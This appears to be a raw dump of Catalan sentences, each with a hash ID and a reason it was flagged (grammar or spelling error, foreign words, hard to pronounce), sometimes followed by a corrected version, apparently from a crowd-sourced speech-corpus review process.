comptes? 6488caed6c7da03a0c1830f250aef87b590b9187a5f731fdd77dca02b09ec7d7 ca Està segura que vol anul·lar els següents comptes? Entre d'altres, van actuar-hi Doctor Michael White, Trombone Shorty i Al Johnson. 64809284ed29efbf8457a6656169a83f3e2b9a0374de359792d986e37c12763e ca different-language Entre d'altres, van actuar-hi Doctor Michael White, Trombone Shorty i Al Johnson. 64809284ed29efbf8457a6656169a83f3e2b9a0374de359792d986e37c12763e ca difficult-pronounce Stacey Solomon, Martine McCutcheon i Lisa Riley van començar a aparèixer com a concursants habituals. 647e76b9f8ba42a7016e4ec189bd8af6cad7295738e780b36b3f92c73b4a2c6d ca different-language Stacey Solomon, Martine McCutcheon i Lisa Riley van començar a aparèixer com a concursants habituals. 647e76b9f8ba42a7016e4ec189bd8af6cad7295738e780b36b3f92c73b4a2c6d ca difficult-pronounce Derek Dauchy supervisa el projecte per a Davis i Scott Bernstein d'Universal. 63c3669d9480ef87e586fd74773b41047604b2445c0e3337714dd133f5009bea ca different-language Derek Dauchy supervisa el projecte per a Davis i Scott Bernstein d'Universal. 63c3669d9480ef87e586fd74773b41047604b2445c0e3337714dd133f5009bea ca difficult-pronounce L'anàlisi del risc pot ser qualitatiu o quantitatiu. 64a4fcd4684487d71ddb068fd60b2b4201cbb7f43c6ca4b7f9417a662d7783ee ca grammar-or-spelling L'anàlisi del risc pot ser qualitatiu o quantitatiu. 64a4fcd4684487d71ddb068fd60b2b4201cbb7f43c6ca4b7f9417a662d7783ee ca L'anàlisi del risc pot ser qualitativa o quantitativa. La majories de les vinyes s'han reconvertit en urbanitzacions. 6490467a6dfef0a70ed3e69b595f34f3f2a791d03d7bf2adec297e8ead479b16 ca grammar-or-spelling La majories de les vinyes s'han reconvertit en urbanitzacions. 6490467a6dfef0a70ed3e69b595f34f3f2a791d03d7bf2adec297e8ead479b16 ca La majoria de les vinyes s'ha reconvertit en urbanitzacions. Portage és contigua al límit sud de la ciutat de Kalamazoo. 6459e1a51326b6e798fac368e11d3f501f80ea0508260e843f0b3b84a1c79062 ca grammar-or-spelling Portage és contigua al límit sud de la ciutat de Kalamazoo. 6459e1a51326b6e798fac368e11d3f501f80ea0508260e843f0b3b84a1c79062 ca different-language Portage és contigua al límit sud de la ciutat de Kalamazoo. 6459e1a51326b6e798fac368e11d3f501f80ea0508260e843f0b3b84a1c79062 ca difficult-pronounce Stansfield va escriure totes les cançons amb Ian Devaney i Andy Morris. 649b523b87f1b97e783a002028b4f89679c909e353d232e0430717cb8d71f99c ca different-language Stansfield va escriure totes les cançons amb Ian Devaney i Andy Morris. 649b523b87f1b97e783a002028b4f89679c909e353d232e0430717cb8d71f99c ca difficult-pronounce Té frontera amb les províncies de Ryazan, Penza, Saratov, Voronezh i Lipetsk. 64b934c9be2202bc69625fbd38c4c6420aae484d6c3266489bd0fab573a73940 ca different-language Té frontera amb les províncies de Ryazan, Penza, Saratov, Voronezh i Lipetsk. 64b934c9be2202bc69625fbd38c4c6420aae484d6c3266489bd0fab573a73940 ca difficult-pronounce Smith va néixer a Vancouver, Columbia Britànica, Canadà. 6484c496436bdd5cda3d991cf3a2e7ce29a592f939363f5ecac94571040d78d9 ca different-language Smith va néixer a Vancouver, Columbia Britànica, Canadà. 6484c496436bdd5cda3d991cf3a2e7ce29a592f939363f5ecac94571040d78d9 ca difficult-pronounce Brooks Field es va convertir en el centre de la formació primària i Kelly de la formació avançada. 6494eb3e52289bc449fd4c2d4ad6cde44a1c52aee6d6ad672f44d078bd0ebd28 ca grammar-or-spelling Brooks Field es va convertir en el centre de la formació primària i Kelly de la formació avançada. 6494eb3e52289bc449fd4c2d4ad6cde44a1c52aee6d6ad672f44d078bd0ebd28 ca different-language Es un possible origen del nom de la regió de Tumbes del Perú. 640c27943925d0cb37a2cd699adc192761f6957d707bba05e0d5def9902c9268 ca grammar-or-spelling També va ser el director formidable "Thrasher" Harris de "Home To Roost". 642a276b0fa5172783409ffa95e188e0086334237067bd26e2d605ec0cf05872 ca different-language També va ser el director formidable "Thrasher" Harris de "Home To Roost". 642a276b0fa5172783409ffa95e188e0086334237067bd26e2d605ec0cf05872 ca difficult-pronounce Eggenfeld i després els van agrupar en un barranc, on els van disparar. 64914de403e9adb2f73cf7e49b2b923c83fd7a01d9b7720797a138259996e4e3 ca grammar-or-spelling Va estudiar a l'Agogo Roman School. 64d2a6105acb6e4058d85fc5c80868fa670fe8b82535bcc61f45aed6ddd8fc1b ca different-language Va estudiar a l'Agogo Roman School. 64d2a6105acb6e4058d85fc5c80868fa670fe8b82535bcc61f45aed6ddd8fc1b ca difficult-pronounce Com a resultat, O'Brien va desaparèixer en la obscuritat política juntament amb el seu partit. 64d11b888cd74ff2450559a6278ebf85e757586d1db7e1004d82eee4f3233615 ca grammar-or-spelling Com a resultat, O'Brien va desaparèixer en la obscuritat política juntament amb el seu partit. 64d11b888cd74ff2450559a6278ebf85e757586d1db7e1004d82eee4f3233615 ca Com a resultat, O'Brien va desaparèixer en l'obscuritat política juntament amb el seu partit. Mariella Mehr va néixer com membre dels nòmades jenischs. 64bbb3342ae293e214676325c799e09e4ca2800d13207a716ed6f89e542410e8 ca grammar-or-spelling Mariella Mehr va néixer com membre dels nòmades jenischs. 64bbb3342ae293e214676325c799e09e4ca2800d13207a716ed6f89e542410e8 ca difficult-pronounce La meva filla es diu Sança: essa, a, ena, a. 64a8bc6d7a18a970d164eec8b100e0be7ebfb0ffb65c824677d60a2b23efd55e ca grammar-or-spelling La meva filla es diu Sança: essa, a, ena, a. 64a8bc6d7a18a970d164eec8b100e0be7ebfb0ffb65c824677d60a2b23efd55e ca La meva filla es diu Sança: essa, a, ena, ce trencada, a. Tower on Teheranno al districte Gangnam de Seül. 64aca83c2671f3d8f6217e48e08879c52ea30aa4206e54d6e28dac092014a3bc ca different-language Després de l'Institut, va anar a la Universitat de California, Berkeley. 64bbe621e28454384327d9ce4468ca196cf9cf0ea0f4508827518c898777304f ca grammar-or-spelling Després de l'Institut, va anar a la Universitat de California, Berkeley. 64bbe621e28454384327d9ce4468ca196cf9cf0ea0f4508827518c898777304f ca Després de l'Institut, va anar a la Universitat de Califòrnia, Berkeley. Va viure a Frampton-on-Severn quan era jove i va assistir a l'Institut Stroud. 64bed1022834dce5a69754a01876e19590d072267f55e5883e640aea7722f5ac ca different-language Va viure a Frampton-on-Severn quan era jove i va assistir a l'Institut Stroud. 64bed1022834dce5a69754a01876e19590d072267f55e5883e640aea7722f5ac ca difficult-pronounce Una noia amb una samarreta blanca y negra i unes malles negres saltant al trampolí. 6477fd1b1496921ccad042ebb65b9e2ffa26b1fad986c4a7b2d5a79a5ca25b65 ca grammar-or-spelling Una noia amb una samarreta blanca y negra i unes malles negres saltant al trampolí. 6477fd1b1496921ccad042ebb65b9e2ffa26b1fad986c4a7b2d5a79a5ca25b65 ca Una noia amb una samarreta blanca i negra i unes malles negres saltant al trampolí. Així, un nombre prònic és lliure de quadrats si i només si i són també lliures de quadrats. 64bfa87f466e698570282df9989919ad26b89c607b53d2eb897f67a1e8566e3e ca grammar-or-spelling Grans cases ben construïdes i places de moda van atreure a empleats, artesans i professionals al districte. 646aada3451944cd7f3bfa6bc0120183f505810715deaaf2dc51604f7779f803 ca grammar-or-spelling Grans cases ben construïdes i places de moda van atreure a empleats, artesans i professionals al districte. 646aada3451944cd7f3bfa6bc0120183f505810715deaaf2dc51604f7779f803 ca Grans cases ben construïdes i places de moda van atreure empleats, artesans i professionals al districte. A l"octubre, Rain va celebrar la seva primera reunió amb els fans des de que li van donar d"alta a Seül. 63fa4ad8c2b2afb884db616640920244c1738fae55cc1a5a49474f6cc2f03332 ca grammar-or-spelling La cimera està per sobre d'un gran glacera que conté una petita llacuna. 64a81b8c310b9effc9fba71cfd51b33eb5f18617b2dca33374afa8e35f62dc91 ca grammar-or-spelling Adrian està forma part del districte escolar Adrian Independent School District. 648eecc0ae80e3d46b5c81c5ade4300d7b2643943911285fa7bd17e884b36f60 ca grammar-or-spelling Una noia amb una samarreta blanca y negra i unes malles negres saltant al trampolí. 6477fd1b1496921ccad042ebb65b9e2ffa26b1fad986c4a7b2d5a79a5ca25b65 ca grammar-or-spelling Un com col·locat el piu a la ranura, podia aixecar-se la taula. 6506aca075af4a7eb3634f01ea434b4648730db75bc1f9ad6fbbb66a31f7e291 ca grammar-or-spelling Si no escoltes ara mateix, perdràs el teu temps de videojoc. 6538573ca287ee69e3b7ec4e9e26daa1763c90412f84bcabb2d562f557672fe2 ca grammar-or-spelling També va se l'impulsora de polítiques destinades a augmentar el nivell educatiu a tot el país. 64623026a1be9c70be7e2a45171a43d25b6cd6a281ef826fc155138aed132d51 ca grammar-or-spelling En anys recents, hi ha hagut canvis entres els distribuïdors de molts programes. 6516674d238aecb499fd2011cb4fe1f11cb44615f72897964d752ea2bae75256 ca grammar-or-spelling Mirant cap abaix, un home i una dona asseguts a un tràiler i mirant material provocatiu. 64ade4b307e4a48f3b6fc333720d3660be2418486b6ff9a57d7609799d9de051 ca grammar-or-spelling Mirant cap abaix, un home i una dona asseguts a un tràiler i mirant material provocatiu. 64ade4b307e4a48f3b6fc333720d3660be2418486b6ff9a57d7609799d9de051 ca Mirant cap a baix, un home i una dona asseguts a un tràiler i mirant material provocatiu. A l'industria, era la fase d'optimització dels processos de treball. 656bec9563374292300f52cb535bba1bd027dd144bd1e51c69f4559686d4ad78 ca grammar-or-spelling A l'industria, era la fase d'optimització dels processos de treball. 656bec9563374292300f52cb535bba1bd027dd144bd1e51c69f4559686d4ad78 ca A la indústria, era la fase d'optimització dels processos de treball. Els seguidors de Washani creien en la superioritat de Deu i la Mare Terra. 653435ca287279920d166aa202205f4b0658528c145fd6fba9dcfcc3f3dcfa97 ca grammar-or-spelling Algunes de les rutes d'accés a la carretera tenen un pendent molt pronunciada. 65b61b2e64f45585d20c813e8430b2c1581977496435fdc07c52f204795f8884 ca grammar-or-spelling Algunes de les rutes d'accés a la carretera tenen un pendent molt pronunciada. 65b61b2e64f45585d20c813e8430b2c1581977496435fdc07c52f204795f8884 ca grammar-or-spelling Mentre es cotitza en aquests borses, l'empresa ha de complir els requisits de cotització de la borsa. 657dcd5420d7ae1f272e7f0a246eec1cdb4cb2db3e7003f5863db71b1145ddcc ca grammar-or-spelling Quina és la millor manera d'anar a Poboleda amb trasport públic? 6625048d6690afebe7d2ca579b842ebf38e4aced65e52f1883f19440899cee61 ca grammar-or-spelling Mentre es cotitza en aquests borses, l'empresa ha de complir els requisits de cotització de la borsa. 657dcd5420d7ae1f272e7f0a246eec1cdb4cb2db3e7003f5863db71b1145ddcc ca grammar-or-spelling El seu nou en àrab és Tudmir. 6500ae2fb32118096fcb79478cf582ee9278b12d64f1430ea36f14388a325b5b ca grammar-or-spelling Un noi amb texans apuntat l'arc i la fletxa a una diana en una bala de palla 6640e577e5f49aacf9c90bbd37ccb838a1705f4c650e143f89c6e9044ea22591 ca grammar-or-spelling Després d'això, Masud Sobirov va ser escollit nou líder de el partit. 664812411360645043e4b33d28b309d42dcf3e2f334e075a3a7ed338951044bc ca grammar-or-spelling Los Blues comptaven amb Sammy Davis, Junior i Elvis Presley com a fans. 66a8088489a0503a24ca806a130b9c0dcb5ccc9682e0f7dec486eef4a5867789 ca grammar-or-spelling "Frankie Say Arm the Unemployed", "Frankie Say War!" 66c8230764a02eab71229304c254206b21ded9c4ebf700ca14b5db78cd764b50 ca different-language "We're Outta Here!" 6656f7ebe06f3e1e4e1612323bd3a60e822accc92d0a2741870116c19b82c86d ca different-language "Frankie Say Arm the Unemployed", "Frankie Say War!" 66c8230764a02eab71229304c254206b21ded9c4ebf700ca14b5db78cd764b50 ca different-language El seu treball també té implicacions per als trastorns d"abús de substàncies. 680a5ef7b593d1e102ab2f2e4e06dbf4f25cd6c7a9d6a494b9732c51dc62b27a ca grammar-or-spelling La illa és llarga i la seva altitud màxima no es troba molt per sobre del nivell del mar. 688703fca9847de8d141d86f8e7be9b5b4c4fa551d4c762fa2ca4ae896950fa4 ca grammar-or-spelling Alberto Ascari també apareix en la novel·la de Mark Sullivan "Beneath a scarlet sky". 682eef39e648b5562c4c36c5b9b03e375c7755d551cd49517542365ce88b2ff1 ca different-language Alberto Ascari també apareix en la novel·la de Mark Sullivan "Beneath a scarlet sky". 682eef39e648b5562c4c36c5b9b03e375c7755d551cd49517542365ce88b2ff1 ca difficult-pronounce LaRouche va reclamar que no havia tingut cap ingressos. 67f9b3f4f0d91be3723763d55fbbf2273ba41bbdec8540d398a54e746b51a6f8 ca grammar-or-spelling Va afegir que havia intentar deixar Timbuktu en tres dies. 67fd736f09d87ee6618d7bcd14763fe6fae28b05c743f2fcc13da816e26b0202 ca grammar-or-spelling Qui són més tolerants en vers les cries? 6892af70ece5eaf9849414e6b68bf5c4c42eded3fb61f104ea8cdd958193fe6e ca grammar-or-spelling Altres obres són "Subodhini" de Vallabha i "Bhakti-ratnavali" de Visnupuri. 68929afb3c182049440332ba178a6cd370b8c6ba83ecd215ec44206dabb146b2 ca different-language Altres obres són "Subodhini" de Vallabha i "Bhakti-ratnavali" de Visnupuri. 68929afb3c182049440332ba178a6cd370b8c6ba83ecd215ec44206dabb146b2 ca difficult-pronounce Scotto es va graduar a la Visitation Academy, una escola primària catòlica a Bay Ridge (Brooklyn). 6845482a5c876984ec24dbfa516abef47ec4a31fa614c789c79daf361829e2c5 ca different-language Scotto es va graduar a la Visitation Academy, una escola primària catòlica a Bay Ridge (Brooklyn). 6845482a5c876984ec24dbfa516abef47ec4a31fa614c789c79daf361829e2c5 ca grammar-or-spelling Ell va anar a dhaka junt amb Prakashananda. 688be9c02ebf4ee518f99c59a2eeae772c998a820498cc1cfacff56a0fc9a92a ca different-language Ell va anar a dhaka junt amb Prakashananda. 688be9c02ebf4ee518f99c59a2eeae772c998a820498cc1cfacff56a0fc9a92a ca difficult-pronounce Quants diners va oferir els negociadors? 6888ef838562c8e51b6923ceb3b0febec4bd37494d6b2147b4e930d35349a3c0 ca grammar-or-spelling Mentrestant, el zoo de Dublin havia assolit el màxim desenvolupament amb l'espai disponible. 68bbee4c18dc1888b5107e5184023c9d032ebb8fffb5e032dd905535bf71c4bb ca grammar-or-spelling En sanskrit, "anahata" significa "il·lès, no colpejat i invicte". 68cf684533d4c49aacad7d9a1f88301045dd400d95b15b9c1f1a2576a189f6c0 ca grammar-or-spelling un sacerdot de peu contra la paret de fusta i el pensament 68983a10f56430f15749731bc697bc1735126dd052bee9ab9eaf4e508e19ae6e ca grammar-or-spelling Amb aprox. 6877740c83cc0d862f6cd734c7a0cfc9862d01b7b112af1ca5acb840a8937d8f ca grammar-or-spelling Amb aprox. 6877740c83cc0d862f6cd734c7a0cfc9862d01b7b112af1ca5acb840a8937d8f ca difficult-pronounce Es va establir a Amsterdam, on es va convertir en un comerciant prominent. 68eb4b249b1c652f11e75ab8c8a4324f07e18b839f0efa48a0d9acde913619e1 ca grammar-or-spelling Sota la seva supervisió, va començar a mostra senyals de millora. 6801d1c6db1b0efaaff141c94fa7f71bc7597cf37e1e6fb45e5cf3db7308addd ca grammar-or-spelling Thomas Thomas, el bomber que dirigir les comprovacions de seguretat de la mina. 68a6689eab511449787fbfca8b89851a19f57b370487c95487500675b4578911 ca grammar-or-spelling Va afegir que havia intentar deixar Timbuktu en tres dies. 67fd736f09d87ee6618d7bcd14763fe6fae28b05c743f2fcc13da816e26b0202 ca grammar-or-spelling Les fibres més interiors formen una closca circular continua per a la uretra membranosa. 685513890bf5e4f0ce560b9d13ad66fa2a7d6823565fa64fabbfee98f9640967 ca grammar-or-spelling Les fosses nassals solen tenir forma petita i creixent. 69056caf21b91d90e8223ba1960473b62c26f81e6c7122848914f6ec71bc7abd ca grammar-or-spelling Capcom va produir samarretes de Hsien-Ko i Banpresto va llançar una sèrie de clauers de mascotes. 691a9079a9394a874dd14035ccdda928d9c50b137ec4cef599b2f999813ea116 ca grammar-or-spelling LaRouche va reclamar que no havia tingut cap ingressos. 67f9b3f4f0d91be3723763d55fbbf2273ba41bbdec8540d398a54e746b51a6f8 ca grammar-or-spelling Reemplaçaven el reverberació amb portes de soroll que eliminen retard en canviar canals. 691052682d0074f33d402d273ab969a1a6c66d36348222ba9d6c08171964866b ca grammar-or-spelling Això pot produir sons estranys i fer que la música sigui no sigui harmoniosa. 68dbef176237967cd0647651fb8e5c87219c742aad15d67eef399a68240e16e4 ca grammar-or-spelling La caiguda de la llum també és sensible a l'aturada-f. 67b79e6c683c1ac52cfa7f788814987a4536fab44c1d4c18e5c7c87e329f0cf0 ca grammar-or-spelling Productes de quelació sense recepta no estan a la venta als Estats Units. 69474bb72e17de8a614fc938c074223afe40135d2f9527f65f01f7a0cabd5dcf ca grammar-or-spelling Els autobusos d'enllaç que surten de l'estació d'autobusos de Saint Austell operen cap a altres lloc a Cornwall. 6959befdd7eb18da613b5c131c7f6a332fc56b50e2adf108db7aa112355f5b7a ca grammar-or-spelling ICBM és l'abreviació d'"intercontinental ballistic missile" (míssil balístic intercontinental). 69722b1b204131371dcedb422169e1df6cafb2cb5d14fa4ccb35b8dffcec69e4 ca different-language ICBM és l'abreviació d'"intercontinental ballistic missile" (míssil balístic intercontinental). 69722b1b204131371dcedb422169e1df6cafb2cb5d14fa4ccb35b8dffcec69e4 ca difficult-pronounce "S-Corner Rock" i "Oh My". 690193dcef9936918bcf8321e3348d4a27b9135e70d4dfee7752bc0751e9112b ca different-language L'alumini en pols va recobrir fent mal als pulmons de Ebsen, deixant-ho prop de la mort. 68f4df25436dedb2ca8f200a6e2d0a2848b920a7d89bf6456fc8cf53aad94991 ca grammar-or-spelling Aquesta mena de calces tan amples són tant a propòsit! 53d11f1180323071912379fc4eac576e2aeba4a84d4b85b06b38b7dcceb4708c ca grammar-or-spelling Ella d'estalviar i fer reco 66cdfbf88902cbacf3a1493b0c98b41363e9b2d0491c9d25c372f372e70d8949 ca grammar-or-spelling Abans es coneixia com a Frederick Municipal Airport. 698ae5773d3bb595a8c908cab9766fce36ce181aa2e0926aa1a9f74af086317c ca different-language Abans es coneixia com a Frederick Municipal Airport. 698ae5773d3bb595a8c908cab9766fce36ce181aa2e0926aa1a9f74af086317c ca difficult-pronounce Està fabricat per HeySong Corporation. 69743349741c1c6d8f38c05d0d108d9965518b7b92a64d58ec8214ebf21c592c ca different-language Està fabricat per HeySong Corporation. 69743349741c1c6d8f38c05d0d108d9965518b7b92a64d58ec8214ebf21c592c ca difficult-pronounce Blair i Ruth Moody van tenir dos fills, Christopher i Robin. 69a3be17ace8f3dda08620a3ff674bfa8481995fc42d766b9f0594d319d5fca7 ca different-language Blair i Ruth Moody van tenir dos fills, Christopher i Robin. 69a3be17ace8f3dda08620a3ff674bfa8481995fc42d766b9f0594d319d5fca7 ca difficult-pronounce Hippety Hopper torna a aparèixer a l'episodi Pop 'Im Pop!, obra de McKimson. 69a1dbf1ce6d4fdfc44b53cad0f0a2a5c6b8dc172211e4c4eda33ae08beb2668 ca different-language Hippety Hopper torna a aparèixer a l'episodi Pop 'Im Pop!, obra de McKimson. 69a1dbf1ce6d4fdfc44b53cad0f0a2a5c6b8dc172211e4c4eda33ae08beb2668 ca difficult-pronounce Al principi Napier va dubtar a mantenir presoner a Sodbar. 69c96a89ed2fd7798c80ddf54015794d0c93cb3ec9447d54a457c15b95ddaa12 ca grammar-or-spelling A AMC Theaters fan Crime on the Hill? 693d83cd48294d190397bf68a71447c26e63824060635c9a45c361cf4f4cadc3 ca grammar-or-spelling La seu de comptat és Naknek. 6912ec55277402437fc745b6198e4fab42dba8bb1f0452ccf8c6656e5dd68104 ca grammar-or-spelling Ralph va rebre el seu nom pel personatge Ralph Kramden, interpretat pel còmic Jackie Gleason a "The Honeymooners". 69acc9d8134ebd776a3e8b2bc77fc99d41987819aed452f637818d54f6fdd4ec ca different-language Ralph va rebre el seu nom pel personatge Ralph Kramden, interpretat pel còmic Jackie Gleason a "The Honeymooners". 69acc9d8134ebd776a3e8b2bc77fc99d41987819aed452f637818d54f6fdd4ec ca difficult-pronounce Algunes dones poderoses, sabies i no tan sabies, van exercir el poder en diverses ocasions. 6949301c10dc861f51fb5f72bcc0e70ded4ac2c9a3d7013f66d9b8add508d8ea ca grammar-or-spelling una dona dormint sobre un cartró sota una senyal prop de la pared de l'església 69e88632fe219b0334441a5095e5e3fd47c9c327737a9f72e77acad089b6f191 ca grammar-or-spelling una dona dormint sobre un cartró sota una senyal prop de la pared de l'església 69e88632fe219b0334441a5095e5e3fd47c9c327737a9f72e77acad089b6f191 ca different-language Un jugador de beisbol llisca a la base d"un batedor per marcar un punt pel seu equip. 69fac40f109b1b7fb90274e6c85f2db427ba6043fe485989ad9a84465f15096b ca grammar-or-spelling Carter està dret i té els cabells negres molt curt i ulls gris fosc. 69bee3a4336fcbae6574a21aa2e7ee3fd956fa4ab200e40c43bb443b92fe0a1b ca grammar-or-spelling L"informe elimina explícitament la excusa de la ignorància per a aquells que van entendre malament la tragèdia. 69d7e2217dce6618528ec38a6699ba4469bcdaaa8e462798ea792e5064e22ff1 ca grammar-or-spelling Aquesta erradar obscuria llur saber. 1e302c480f019f4daba8f84430804088a31b62968429d73dcbfb73d4b220105a ca grammar-or-spelling Què passat per aquí des que me'n vaig anar? 6a0596279ae1fbb5b55c2cd1c78005f418febb84278a16b5c52c62bb356c36cd ca grammar-or-spelling La "fallida de marcat" ocorre quan els mercats privats no atribueixen eficientment els béns i serveis. 69a1ed98e14abaf750d57ddfdc4353a63fa66f1d946e9995bb82a9f0bdf77cab ca grammar-or-spelling Reemplaçaven el reverberació amb portes de soroll que eliminen retard en canviar canals. 691052682d0074f33d402d273ab969a1a6c66d36348222ba9d6c08171964866b ca grammar-or-spelling Els pagaments amb targeta, si es permeten, i els pagaments en efectius tenen efecte immediat. 69c54f2b77b5395d20adb6f36b867aeddda088c639923f93785265c9f8b66390 ca grammar-or-spelling Postal Discovery Channel. 6a1c7fb0f5212e02d4a6fce1c2a643ed2e3ce89660fb9276a95ca0596fc74533 ca grammar-or-spelling La serveix, la plany i la aconsola amb una tendresa que t'entendriria. 566db9b1a04097965d948cb7e177cb2240152184654d460d23a76ee50a3d0334 ca grammar-or-spelling Una agència de viatges porta als turistes a donar una volta en barca. 69b2d17fe8fe5e6b21ad1edd20d879fe37cbd3aebf23de12a6a2865836b452ba ca grammar-or-spelling Un coneixement així és necessari per a tot, des de la venta al detall fins a la planificació del desenvolupament. 6a1ef7d2abdfec6102e4c124a8c6328ea1dd96f588e621bf744242cbb4f3989e ca grammar-or-spelling Dibba era fill de Mustapha Dibba, un cap de Mandinka. 69f3d26f914c6007f377d45af9c98e12744f92771ef8aebd8f24329b69acbc03 ca grammar-or-spelling Entre els seus noms populars en anglès hi ha "speedwell", "bird's eye" i "gypsyweed". 6a39fb48af9a6ec5dbf4e91ec69536404c6bddaca7a170e7108204ab60325182 ca grammar-or-spelling Dhurnal i Sadkal a Tehsil Fateh Jang. 697fd2aa55ae2de8fb79f638468e2a77a2bbf6d5569276373e71e9521096e5ae ca different-language És nipobrasiler de primera generació, ja que els seus pares són d'Okinawa, a les illes Ryukyu. 69fb4ef7770608eabe1019b29279b117466bff5093c59e39abc2ab15ef7a371e ca grammar-or-spelling Ajudant els pacients a banyar-se i vestir-se, tracten les llagues i canviant sabanes brutes. 6a5b4318e80554ede2f05f93329804bac99f8eb239285f7efbe6961ea6463973 ca grammar-or-spelling Sonia també va fer la banda sonora completa del documental de Dave Marshall "Autumn's Harvest". 69a4dd9efbee632b273de34965f12f1667255441c50bbe01faa88a3569ce7b2a ca grammar-or-spelling El degà actual de Nicholas School és Jeffrey Vincent. 6a2476eb6122f9c9b75acab11fe65cfc90b5dbc568b5d98c1f2d23d73e5be0e1 ca grammar-or-spelling Les aventures de Sam van des de col·leccionar discos d'estrenes fins a ajudar a treure a la llum a un polític corrupte. 69794609d599e7124330f003d4dc9dd1445a5a512454244dff9e9b7f18d962ad ca grammar-or-spelling Va atraure gran part de la seva inspiració en l'observació d'animals en aquaris i zoos. 6a28e8dc5ff98ff18ff922c0b37a1db4cc3a5a9360572ddd53df9d955baddd17 ca grammar-or-spelling El barretaire va dir "Que no m'enrecordo". 6a592929cfa3d3fce2c9e7a4ffcec839a847588ea19097abaf557ae54d014682 ca grammar-or-spelling L'Einstein Healthcare Network opera un centre d'assistència sanitària ambulatòria al King of Prussia. 6a868b1e83fc9c9556fa983c42c3bfbaac968fedf02dcaf790754505df54ded4 ca different-language L'Einstein Healthcare Network opera un centre d'assistència sanitària ambulatòria al King of Prussia. 6a868b1e83fc9c9556fa983c42c3bfbaac968fedf02dcaf790754505df54ded4 ca difficult-pronounce Nítides cantonades quadrades poden ser incòmodes i causar enganxin en els mitjons. 6a6632a51776e6a571391a3403dd7d66161bd314113f0b32ef840a161d727da7 ca grammar-or-spelling Tothom va mirar cap el prat d'on sortia la carretera blanca. 6a89817f996963fff54f2bdfd491cbfd98bc0d4d0dc476a1156cd8e3515acb67 ca grammar-or-spelling Minczuk compta amb el títol de director musical llorejat, compartir amb Graf. 6a4a3214dcb61e800e5aa98e14210bd00999cfaf762d90733e1dd189b7422f1b ca grammar-or-spelling Minczuk compta amb el títol de director musical llorejat, compartir amb Graf. 6a4a3214dcb61e800e5aa98e14210bd00999cfaf762d90733e1dd189b7422f1b ca different-language Habitualment escrivia de peu, i el seu escriptori es pot veure a la mansió. 6a264f499842e40d0b6628dea27e86180c003789efb52139fcca0c096f1579f3 ca grammar-or-spelling Les seves dimensions són: distancia entre eixos, llargada, amplada i altura. 6aa2d7d57f84e2a23c9b1f2d9c20144ddbf2e9a5c0d24f0916aaccce103bb49a ca grammar-or-spelling També va traduir Tiruppavai de Sri Goda Devi del tàmil al telugu. 6a638ba6ce2483fec591073482d700eea4b3c11c445b3bfd6e1548040b8a0614 ca different-language També va traduir Tiruppavai de Sri Goda Devi del tàmil al telugu. 6a638ba6ce2483fec591073482d700eea4b3c11c445b3bfd6e1548040b8a0614 ca difficult-pronounce Minczuk compta amb el títol de director musical llorejat, compartir amb Graf. 6a4a3214dcb61e800e5aa98e14210bd00999cfaf762d90733e1dd189b7422f1b ca grammar-or-spelling Ajudant els pacients a banyar-se i vestir-se, tracten les llagues i canviant sabanes brutes. 6a5b4318e80554ede2f05f93329804bac99f8eb239285f7efbe6961ea6463973 ca grammar-or-spelling Tots dos han establert els sus règims de nacionalitat i immigració propis. 6af6380799df84d4d34ba8bf7224309d58255d602cc51dcfa80165ff28c75f05 ca grammar-or-spelling Com es fa per anar de la camí del Molí de Vallvidrera al carrer de Ciceró? 6a7bfc6486fac2e412988ac893e92a0503aee746ee6e21000bc601aafcadbabd ca grammar-or-spelling Vull anar al carrer de l'Abat Safont amb trasport públic. 6b1545be1c87f4d22023f0dd6a53cc18661ef792f97eb2f56df0e6a1103042aa ca grammar-or-spelling Com es va denominar originalment a l'espècie? 6afc4d319098875df3b483b5a0cae099076a5b5f0a02f7c98dfc60f3af73aad5 ca grammar-or-spelling Tanmateix, el tsar rus va rebutjat totes les propostes que van presentar els polonesos. 6aee7cc6016ea88dd75bf192a460c0fe1ecb73f8f5f8369b7c1f287cab23b7be ca grammar-or-spelling George havia fet una contribució important en quant a la construcció d'aquesta església. 6b652d94b4535e54665dd6d3db5976c6190c345c330879dd8271de3611b59c3b ca grammar-or-spelling Hem derrotat aquest gran equip que es diuen All Blacks, per més que els pesi. 6b3b1d03292072c7b3d455b7cb82c64f57c6e825260d160c16b8deb6e96e2acb ca grammar-or-spelling Tots dos han establert els sus règims de nacionalitat i immigració propis. 6af6380799df84d4d34ba8bf7224309d58255d602cc51dcfa80165ff28c75f05 ca grammar-or-spelling Aquest museu és a una de les quatre esglésies antigues que hi havia a Woomera. 6b2d32c053483fe6cd071268134cf4ba6c5be593de77729bbd624ff96665992d ca grammar-or-spelling Altres cotxets són normalment OAR alimentat. 6b7046a53d435d514c6da37135de42af8696a9d10fbf11405e6a9e39dd44c41b ca grammar-or-spelling Sargent va contestar "Ho acceptaré amb gust, Helleu, però com a un regal". 6b3a5c1ba3611d2a40fa272204c311454304e5561faa81a35ce46e17ccfb4053 ca grammar-or-spelling Les taxes de trastorns mentals múltiples també eren més elevades entre aquests escriptors. 6ab95a396af12be4facee0b2c1bb2a3a1003ca91a41846285fd4b098e9b648cb ca grammar-or-spelling El dos dies més important són el Divendres Sant i Dissabte Sant. 6b1847c560ab0ce89584f82f234924c791b2ad69ce8c354a907e5e64edb324e8 ca grammar-or-spelling Els noms de matrius estan restringit només de la A a la Z. 6b2dd03afef69563650adc3cbf41bd08becc0b1fcf008a6c7d1a76cba41aa6fe ca grammar-or-spelling En aquest format, es van popularitzar el fotocrom. 6b7ab996c7ad7e5b22b84b53bdc3429f20c1669d46205159cb45a22d0fa036d1 ca grammar-or-spelling Quatre persones asseguts escoltant una dona vestida amb una samarreta de coll blau que parla amb dos visitants al fons 6b87cc09f67223f49ec3074754b7ebe4836b61415bec8fede9e1641554196589 ca grammar-or-spelling Què ha declarat solemnement a Unió Soviètica? 6b320cdc272682b64794e2a3f39dc60a54a79efb6d48e49905c2587a278c7a01 ca grammar-or-spelling Com que odia al seu pare, diu que tant li fa. 6b970967d8a1b5d8dd549080c8469bc53c4e3de3211771ec2ceda8a4f63bec89 ca grammar-or-spelling Es lectura obligada en alguns cursos d'arqueologia. 6ae4e36bbd920fd9817922f84093ee0a6ec11fd3eecfbf13d7bfa02d86ba8114 ca grammar-or-spelling Això fa que l'accés a l'Internet d'alta velocitat sigui gairebé impossible. 6b32edba34da88286dc2aec98564db4fbbf7d358262099a038f68928d5ab598a ca grammar-or-spelling Una nena de genolls en un gronxador del parc 6b9e437d14ee5880afb0ce91dde5a4c794a75d73f785b3e429f053e98c965734 ca grammar-or-spelling Això va establir les situacions en que 